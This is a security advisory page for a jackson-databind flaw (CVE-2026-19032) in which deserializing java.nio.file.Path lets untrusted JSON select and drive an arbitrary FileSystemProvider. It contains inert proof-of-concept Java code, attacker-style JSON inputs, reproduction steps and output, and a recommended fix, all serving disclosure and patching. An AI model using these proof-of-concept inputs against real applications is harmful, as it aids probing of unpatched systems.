Vulnerability-Lookup

GHSA-WJGM-6HV5-3CVF

Vulnerability from github – Published: 2026-09-28 20:19 – Updated: 2026-09-28 20:19

Summary

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location

src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).

Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider). A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor — src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04b_PathProviderMount.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;

/**
 * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
 * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
 * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
 * (1) load the provider class (running its static initializer) and (2) invoke
 * provider.getPath(attackerUri) -- all inside readValue, with NO application code.
 */
public class Vuln04b_PathProviderMount {
    public static class Config { public java.nio.file.Path workdir; }

    public static void main(String[] args) throws Exception {
        System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
        ObjectMapper mapper = JsonMapper.builder().build();   // default config
        String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
        System.out.println("Deserializing (default mapper): " + json);

        Config c = mapper.readValue(json, Config.class);

        System.out.println("Resolved Path = " + c.workdir);
        System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
        System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
                && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
        System.out.println(ok
            ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
            : "RESULT: NOT reproduced");
    }
}

Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath

# 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

# 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
  src/main/java/com/poc/EvilFileSystemProvider.java \
  src/main/java/com/poc/Vuln04_PathProvider.java \
  src/main/java/com/poc/Vuln04b_PathProviderMount.java

# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
   out/META-INF/services/java.nio.file.spi.FileSystemProvider

# 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider        # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount  # PoC 2

Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

PoC 1 :

Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
 at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)

Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.

PoC 2 :

Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)

Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

Impact

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap.

Recommended Fix

Restrict the resolved scheme to a fixed, hard-coded set ; reject jar: and other schemes via ctxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface.
Skip the ServiceLoader<FileSystemProvider> enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider.
Document that java.nio.file.Path-typed fields should not be bound from untrusted JSON.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.18.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-19032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T20:19:19Z",
    "nvd_published_at": "2026-09-01T04:18:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` \u2192 `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader\u003cFileSystemProvider\u003e` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(\u0027:\u0027);\nif (colonIx \u003c 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value);          // attacker-controlled URI string\ntry {\n    return Path.of(uri);                  // resolves scheme -\u003e may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n    final String scheme = uri.getScheme();\n    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n        if (provider.getScheme().equalsIgnoreCase(scheme)) {\n            return provider.getPath(uri);  // attacker scheme selects \u0026 drives a provider\n        }\n    }\n    // no matching provider -\u003e ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker\u0027s scheme selects the provider and the attacker\u0027s URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n  - `STD_PATH` \u2192 `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n       (`new URI` \u2192 `Path.of(uri)` \u2192 `ServiceLoader.load(FileSystemProvider.class)` \u2192 `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n\u003e PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library\u0027s control. The in-scope issue is **PoC 1** \u2014 the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 \u2014 sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader\u003cFileSystemProvider\u003e.\n */\npublic class Vuln04_PathProvider {\n    public static class Config { public Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        ObjectMapper mapper = JsonMapper.builder().build();\n        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n        String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n        try {\n            Config c = mapper.readValue(json, Config.class);\n            System.out.println(\"Resolved Path = \" + c.workdir + \"  (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n            System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n        } catch (Throwable t) {\n            System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n            System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n        }\n    }\n}\n```\n\n**PoC 2 \u2014 scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application\u0027s classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson\u0027s readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n    public static volatile boolean STATIC_INIT_RAN = false;\n    public static volatile String GET_PATH_URI = null;\n    static { STATIC_INIT_RAN = true; }\n\n    @Override public String getScheme() { return \"evilscheme\"; }\n\n    @Override public Path getPath(URI uri) {\n        GET_PATH_URI = uri.toString();\n        System.out.println(\"\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n        return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n    }\n\n    // --- remaining abstract methods: minimal stubs ---\n    @Override public FileSystem newFileSystem(URI uri, Map\u003cString,?\u003e env) { throw new UnsupportedOperationException(); }\n    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n    @Override public SeekableByteChannel newByteChannel(Path p, Set\u003c? extends OpenOption\u003e o, FileAttribute\u003c?\u003e... a) throws IOException { throw new UnsupportedOperationException(); }\n    @Override public DirectoryStream\u003cPath\u003e newDirectoryStream(Path d, DirectoryStream.Filter\u003c? super Path\u003e f) { throw new UnsupportedOperationException(); }\n    @Override public void createDirectory(Path d, FileAttribute\u003c?\u003e... a) { throw new UnsupportedOperationException(); }\n    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public boolean isSameFile(Path p, Path p2) { return false; }\n    @Override public boolean isHidden(Path p) { return false; }\n    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void checkAccess(Path p, AccessMode... m) { }\n    @Override public \u003cV extends FileAttributeView\u003e V getFileAttributeView(Path p, Class\u003cV\u003e t, LinkOption... o) { return null; }\n    @Override public \u003cA extends BasicFileAttributes\u003e A readAttributes(Path p, Class\u003cA\u003e t, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public Map\u003cString,Object\u003e readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor \u2014\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver \u2014 `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app\u0027s\n * classpath. Attacker JSON with that scheme drives jackson\u0027s ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n    public static class Config { public java.nio.file.Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        ObjectMapper mapper = JsonMapper.builder().build();   // default config\n        String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n\n        Config c = mapper.readValue(json, Config.class);\n\n        System.out.println(\"Resolved Path = \" + c.workdir);\n        System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n                \u0026\u0026 EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n        System.out.println(ok\n            ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n            : \"RESULT: NOT reproduced\");\n    }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n  src/main/java/com/poc/EvilFileSystemProvider.java \\\n  src/main/java/com/poc/Vuln04_PathProvider.java \\\n  src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n   out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider        # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount  # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider\u0027s `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2  :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson\u0027s `ServiceLoader` fallback selected the attacker-named scheme\u0027s provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library\u0027s control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader\u003cFileSystemProvider\u003e` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.",
  "id": "GHSA-wjgm-6hv5-3cvf",
  "modified": "2026-09-28T20:19:19Z",
  "published": "2026-09-28T20:19:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution"
}

CVE-2026-19032 (GCVE-0-2026-19032)

Vulnerability from cvelistv5 – Published: 2026-09-01 03:18 – Updated: 2026-09-01 13:13

Title

jackson-databind resolves attacker-controlled URI schemes when deserializing java.nio.file.Path

Summary

jackson-databind's deserializer for java.nio.file.Path resolves an attacker-supplied URI without restricting the URI scheme. In JDKFromStringDeserializer.NioPathHelper.deserialize, a string bound from untrusted JSON is passed to new URI(value) and then to Path.of(uri). When that throws FileSystemNotFoundException, the code enumerates ServiceLoader<FileSystemProvider> and calls provider.getPath(uri) on the first provider whose scheme matches the attacker-chosen scheme. Untrusted JSON can therefore select and drive an arbitrary registered FileSystemProvider during readValue under a default JsonMapper, and forces provider class loading at the same time. With only the JDK built-in providers (file, jar/zipfs) present, the resolved path is inert and no mount or network I/O occurs; further impact requires a side-effecting third-party FileSystemProvider on the classpath. This affects com.fasterxml.jackson.core:jackson-databind from 2.8.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2. Binding java.nio.file.Path from untrusted JSON should be avoided regardless of version.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-01 13:12 UTC

CWE

CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
CWE-610 - Externally Controlled Reference to a Resource in Another Sphere

Assigner

HeroDevs mitre root

References

5 references

URL	Tags
https://github.com/FasterXML/jackson-databind/sec…	third-party-advisory
https://github.com/FasterXML/jackson-databind/pull/6129	patchissue-tracking
https://github.com/FasterXML/jackson-databind/com…	patch
https://github.com/FasterXML/jackson-databind/com…	patch
https://github.com/FasterXML/jackson-databind/com…	patch

Impacted products

2 products

Vendor	Product	Version
FasterXML	jackson-databind	Affected: 2.8.0 , < 2.18.10 (maven) Affected: 2.19.0 , < 2.21.6 (maven) Affected: 2.22.0 , < 2.22.2 (maven)
FasterXML	jackson-databind	Affected: 3.0.0 , < 3.1.6 (maven) Affected: 3.2.0 , < 3.2.2 (maven)

Date Public

